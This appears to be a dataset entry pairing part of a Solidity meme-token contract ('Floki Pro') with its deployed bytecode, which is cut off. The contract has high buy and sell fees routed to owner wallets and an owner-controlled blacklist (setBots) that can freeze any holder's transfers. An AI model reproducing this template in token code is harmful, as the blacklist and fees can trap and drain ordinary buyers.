function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 5;
_teamFee = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 5;
_teamFee = 20;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612d79565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906128a3565b61045e565b6040516101789190612d5e565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612efb565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612850565b610490565b6040516101e09190612d5e565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906127b6565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612f70565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061292c565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f91906127b6565b610786565b6040516102b19190612efb565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612c90565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612d79565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906128a3565b610990565b60405161035b9190612d5e565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906128e3565b6109ae565b005b34801561039957600080fd5b506103a2610ad8565b005b3480156103b057600080fd5b506103b9610b52565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612986565b6110b4565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612810565b611200565b6040516104189190612efb565b60405180910390f35b60606040518060400160405280600981526020017f466c6f6b692050726f0000000000000000000000000000000000000000000000815250905090565b600061047261046b611287565b848461128f565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d84848461145a565b61055e846104a9611287565b6105598560405180606001604052806028815260200161364e60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f611287565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b129092919063ffffffff16565b61128f565b600190509392505050565b610571611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612e5b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066a611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612e5b565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610755611287565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b76565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c71565b9050919050565b6107df611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612e5b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f466c6f6b6950726f000000000000000000000000000000000000000000000000815250905090565b60006109a461099d611287565b848461145a565b6001905092915050565b6109b6611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612e5b565b60405180910390fd5b60005b8151811015610ad457600160066000848481518110610a6857610a676132b8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610acc90613211565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b19611287565b73ffffffffffffffffffffffffffffffffffffffff1614610b3957600080fd5b6000610b4430610786565b9050610b4f81611cdf565b50565b610b5a611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bde90612e5b565b60405180910390fd5b601160149054906101000a900460ff1615610c37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2e90612edb565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cca30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce800000061128f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1057600080fd5b505afa158015610d24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4891906127e3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610daa57600080fd5b505afa158015610dbe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de291906127e3565b6040518363ffffffff1660e01b8152600401610dff929190612cab565b602060405180830381600087803b158015610e1957600080fd5b505af1158015610e2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5191906127e3565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610eda30610786565b600080610ee561092a565b426040518863ffffffff1660e01b8152600401610f0796959493929190612cfd565b6060604051808303818588803b158015610f2057600080fd5b505af1158015610f34573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f5991906129b3565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161105e929190612cd4565b602060405180830381600087803b15801561107857600080fd5b505af115801561108c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b09190612959565b5050565b6110bc611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611149576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114090612e5b565b60405180910390fd5b6000811161118c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118390612e1b565b60405180910390fd5b6111be60646111b0836b033b2e3c9fd0803ce8000000611f6790919063ffffffff16565b611fe290919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012546040516111f59190612efb565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f690612ebb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136690612ddb565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144d9190612efb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c190612e9b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561153a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153190612d9b565b60405180910390fd5b6000811161157d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157490612e7b565b60405180910390fd5b6005600a81905550600a600b8190555061159561092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160357506115d361092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a4f57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116ac5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116b557600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117605750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117b65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117ce5750601160179054906101000a900460ff165b1561187e576012548111156117e257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061182d57600080fd5b601e4261183a9190613031565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119295750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561197f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611995576005600a819055506014600b819055505b60006119a030610786565b9050601160159054906101000a900460ff16158015611a0d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a255750601160169054906101000a900460ff165b15611a4d57611a3381611cdf565b60004790506000811115611a4b57611a4a47611b76565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611af65750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b0057600090505b611b0c8484848461202c565b50505050565b6000838311158290611b5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b519190612d79565b60405180910390fd5b5060008385611b699190613112565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bc6600284611fe290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611bf1573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c42600284611fe290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c6d573d6000803e3d6000fd5b5050565b6000600854821115611cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611caf90612dbb565b60405180910390fd5b6000611cc2612059565b9050611cd78184611fe290919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d1757611d166132e7565b5b604051908082528060200260200182016040528015611d455781602001602082028036833780820191505090505b5090503081600081518110611d5d57611d5c6132b8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611dff57600080fd5b505afa158015611e13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e3791906127e3565b81600181518110611e4b57611e4a6132b8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611eb230601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128f565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f16959493929190612f16565b600060405180830381600087803b158015611f3057600080fd5b505af1158015611f44573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600080831415611f7a5760009050611fdc565b60008284611f8891906130b8565b9050828482611f979190613087565b14611fd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fce90612e3b565b60405180910390fd5b809150505b92915050565b600061202483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612084565b905092915050565b8061203a576120396120e7565b5b61204584848461212a565b80612053576120526122f5565b5b50505050565b6000806000612066612309565b9150915061207d8183611fe290919063ffffffff16565b9250505090565b600080831182906120cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c29190612d79565b60405180910390fd5b50600083856120da9190613087565b9050809150509392505050565b6000600a541480156120fb57506000600b54145b1561210557612128565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b60008060008060008061213c87612374565b95509550955095509550955061219a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123dc90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061222f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061227b81612484565b6122858483612541565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122e29190612efb565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123456b033b2e3c9fd0803ce8000000600854611fe290919063ffffffff16565b821015612367576008546b033b2e3c9fd0803ce8000000935093505050612370565b81819350935050505b9091565b60008060008060008060008060006123918a600a54600b5461257b565b92509250925060006123a1612059565b905060008060006123b48e878787612611565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061241e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b12565b905092915050565b60008082846124359190613031565b90508381101561247a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247190612dfb565b60405180910390fd5b8091505092915050565b600061248e612059565b905060006124a58284611f6790919063ffffffff16565b90506124f981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612556826008546123dc90919063ffffffff16565b6008819055506125718160095461242690919063ffffffff16565b6009819055505050565b6000806000806125a76064612599888a611f6790919063ffffffff16565b611fe290919063ffffffff16565b905060006125d160646125c3888b611f6790919063ffffffff16565b611fe290919063ffffffff16565b905060006125fa826125ec858c6123dc90919063ffffffff16565b6123dc90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061262a8589611f6790919063ffffffff16565b905060006126418689611f6790919063ffffffff16565b905060006126588789611f6790919063ffffffff16565b905060006126818261267385876123dc90919063ffffffff16565b6123dc90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126ad6126a884612fb0565b612f8b565b905080838252602082019050828560208602820111156126d0576126cf61331b565b5b60005b8581101561270057816126e6888261270a565b8452602084019350602083019250506001810190506126d3565b5050509392505050565b60008135905061271981613608565b92915050565b60008151905061272e81613608565b92915050565b600082601f83011261274957612748613316565b5b813561275984826020860161269a565b91505092915050565b6000813590506127718161361f565b92915050565b6000815190506127868161361f565b92915050565b60008135905061279b81613636565b92915050565b6000815190506127b081613636565b92915050565b6000602082840312156127cc576127cb613325565b5b60006127da8482850161270a565b91505092915050565b6000602082840312156127f9576127f8613325565b5b60006128078482850161271f565b91505092915050565b6000806040838503121561282757612826613325565b5b60006128358582860161270a565b92505060206128468582860161270a565b9150509250929050565b60008060006060848603121561286957612868613325565b5b60006128778682870161270a565b93505060206128888682870161270a565b92505060406128998682870161278c565b9150509250925092565b600080604083850312156128ba576128b9613325565b5b60006128c88582860161270a565b92505060206128d98582860161278c565b9150509250929050565b6000602082840312156128f9576128f8613325565b5b600082013567ffffffffffffffff81111561291757612916613320565b5b61292384828501612734565b91505092915050565b60006020828403121561294257612941613325565b5b600061295084828501612762565b91505092915050565b60006020828403121561296f5761296e613325565b5b600061297d84828501612777565b91505092915050565b60006020828403121561299c5761299b613325565b5b60006129aa8482850161278c565b91505092915050565b6000806000606084860312156129cc576129cb613325565b5b60006129da868287016127a1565b93505060206129eb868287016127a1565b92505060406129fc868287016127a1565b9150509250925092565b6000612a128383612a1e565b60208301905092915050565b612a2781613146565b82525050565b612a3681613146565b82525050565b6000612a4782612fec565b612a51818561300f565b9350612a5c83612fdc565b8060005b83811015612a8d578151612a748882612a06565b9750612a7f83613002565b925050600181019050612a60565b5085935050505092915050565b612aa381613158565b82525050565b612ab28161319b565b82525050565b6000612ac382612ff7565b612acd8185613020565b9350612add8185602086016131ad565b612ae68161332a565b840191505092915050565b6000612afe602383613020565b9150612b098261333b565b604082019050919050565b6000612b21602a83613020565b9150612b2c8261338a565b604082019050919050565b6000612b44602283613020565b9150612b4f826133d9565b604082019050919050565b6000612b67601b83613020565b9150612b7282613428565b602082019050919050565b6000612b8a601d83613020565b9150612b9582613451565b602082019050919050565b6000612bad602183613020565b9150612bb88261347a565b604082019050919050565b6000612bd0602083613020565b9150612bdb826134c9565b602082019050919050565b6000612bf3602983613020565b9150612bfe826134f2565b604082019050919050565b6000612c16602583613020565b9150612c2182613541565b604082019050919050565b6000612c39602483613020565b9150612c4482613590565b604082019050919050565b6000612c5c601783613020565b9150612c67826135df565b602082019050919050565b612c7b81613184565b82525050565b612c8a8161318e565b82525050565b6000602082019050612ca56000830184612a2d565b92915050565b6000604082019050612cc06000830185612a2d565b612ccd6020830184612a2d565b9392505050565b6000604082019050612ce96000830185612a2d565b612cf66020830184612c72565b9392505050565b600060c082019050612d126000830189612a2d565b612d1f6020830188612c72565b612d2c6040830187612aa9565b612d396060830186612aa9565b612d466080830185612a2d565b612d5360a0830184612c72565b979650505050505050565b6000602082019050612d736000830184612a9a565b92915050565b60006020820190508181036000830152612d938184612ab8565b905092915050565b60006020820190508181036000830152612db481612af1565b9050919050565b60006020820190508181036000830152612dd481612b14565b9050919050565b60006020820190508181036000830152612df481612b37565b9050919050565b60006020820190508181036000830152612e1481612b5a565b9050919050565b60006020820190508181036000830152612e3481612b7d565b9050919050565b60006020820190508181036000830152612e5481612ba0565b9050919050565b60006020820190508181036000830152612e7481612bc3565b9050919050565b60006020820190508181036000830152612e9481612be6565b9050919050565b60006020820190508181036000830152612eb481612c09565b9050919050565b60006020820190508181036000830152612ed481612c2c565b9050919050565b60006020820190508181036000830152612ef481612c4f565b9050919050565b6000602082019050612f106000830184612c72565b92915050565b600060a082019050612f2b6000830188612c72565b612f386020830187612aa9565b8181036040830152612f4a8186612a3c565b9050612f596060830185612a2d565b612f666080830184612c72565b9695505050505050565b6000602082019050612f856000830184612c81565b92915050565b6000612f95612fa6565b9050612fa182826131e0565b919050565b6000604051905090565b600067ffffffffffffffff821115612fcb57612fca6132e7565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061303c82613184565b915061304783613184565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561307c5761307b61325a565b5b828201905092915050565b600061309282613184565b915061309d83613184565b9250826130ad576130ac613289565b5b828204905092915050565b60006130c382613184565b91506130ce83613184565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131075761310661325a565b5b828202905092915050565b600061311d82613184565b915061312883613184565b92508282101561313b5761313a61325a565b5b828203905092915050565b600061315182613164565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131a682613184565b9050919050565b60005b838110156131cb5780820151818401526020810190506131b0565b838111156131da576000848401525b50505050565b6131e98261332a565b810181811067ffffffffffffffff82111715613208576132076132e7565b5b80604052505050565b600061321c82613184565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561324f5761324e61325a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617